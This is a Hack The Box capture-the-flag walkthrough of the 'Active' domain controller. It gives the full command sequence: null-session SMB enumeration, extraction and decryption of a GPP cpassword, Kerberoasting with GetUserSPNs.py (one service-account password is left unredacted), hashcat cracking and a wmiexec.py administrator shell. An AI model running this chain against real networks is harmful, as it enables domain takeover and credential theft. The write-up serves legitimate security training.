Active Walkthrough

Machine: Active#

Date: 16-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results:#

• Port 53 → domain (Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1))
• Port 88 → kerberos-sec (Microsoft Windows Kerberos)
• Port 135 → msrpc (Microsoft Windows RPC)
• Port 139 → netbios-ssn (Microsoft Windows netbios-ssn)
• Port 389 → ldap (Microsoft Windows Active Directory LDAP)
• Port 445 → microsoft-ds?
• Port 464 → kpasswd5?
• Port 593 → ncacn_http (Microsoft Windows RPC over HTTP 1.0)
• Port 636 → tcpwrapped
• Port 3268 → ldap (Microsoft Windows Active Directory LDAP)
• Port 3269 → tcpwrapped
• Port 49152 → msrpc (Microsoft Windows RPC)
• Port 49153 → msrpc (Microsoft Windows RPC)
• Port 49154 → msrpc (Microsoft Windows RPC)
• Port 49155 → msrpc (Microsoft Windows RPC)
• Port 49157 → ncacn_http (Microsoft Windows RPC over HTTP 1.0)
• Port 49158 → msrpc (Microsoft Windows RPC)

Notes:

• Domain: active.htb, Host: DC
• OS: Windows Server 2008 R2 SP1
• SMB signing enabled and required
• Classic Active Directory / Domain Controller architecture

📂 Enumeration#

smbclient / Crackmapexec:#

smbclient -L //10.129.5.161 -N
crackmapexec smb 10.129.5.161 -u '' -p '' --shares

• Anonymous (null session) login successful
• Shares found: ADMIN$, C$, IPC$, NETLOGON, SYSVOL, Replication, Users
• Replication share is non-standard → suspicious

smbclient //10.129.5.161/Replication -N
smb: \> recurse ON
smb: \> ls

• Found: active.htb\Policies\{31B2F340...}\MACHINE\Preferences\Groups\Groups.xml
• Groups.xml contains GPP encrypted credentials (cpassword field)

GPP credentials found:

• User: active.htb\SVC_TGS
• cpassword: [REDACTED]

💥 Exploitation#

• Decrypted GPP password using gpp-decrypt:

gpp-decrypt -c "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

→ Password: [REDACTED]

• Kerberoasting using SVC_TGS credentials:

GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.5.161 -request

→ SPN found: active/CIFS:445 registered under Administrator account → TGS-REP hash obtained: [KRB5 TGS-REP HASH REDACTED]

• Hash cracked with hashcat (RTX 3080, ~2 seconds):

hashcat -m 13100 hash.txt rockyou.txt

→ Password: [REDACTED]

Result: Domain Administrator credentials obtained

⚡ Privilege Escalation#

Not required — Kerberoasted credentials belong directly to the domain Administrator account.

• Shell access via wmiexec.py:

wmiexec.py active.htb/Administrator:[email protected]

Successful escalation: NT AUTHORITY\SYSTEM / Administrator

🎯 Loot / Flags#

• user.txt: [FLAG REDACTED]
• root.txt: [FLAG REDACTED]

📝 Lessons Learned#

• SMB null session shares are the first vector to check on AD machines with no credentials
• The Replication share (SYSVOL copy) can contain GPOs with GPP credentials — always look for Groups.xml
• GPP Passwords (MS14-025): Microsoft leaked the AES key in 2012, gpp-decrypt cracks them instantly
• If a service account name includes “TGS”, think Kerberoasting immediately
• psexec.py may have encoding issues on Windows 2008 — use wmiexec.py as a reliable alternative
• On AD machines, always enumerate SPNs with GetUserSPNs.py as soon as you have any valid credentials

#Windows #HTB #Enumeration #ActiveDirectory #SMB #NullSession #SYSVOL #GPP #CredentialExtraction #GPPDecrypt #Kerberos #Kerberoasting #GetUserSPNs #HashExtraction #HashCracking #Hashcat #Administrator #DomainAdmin #WMIExec #PrivilegeEscalation #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.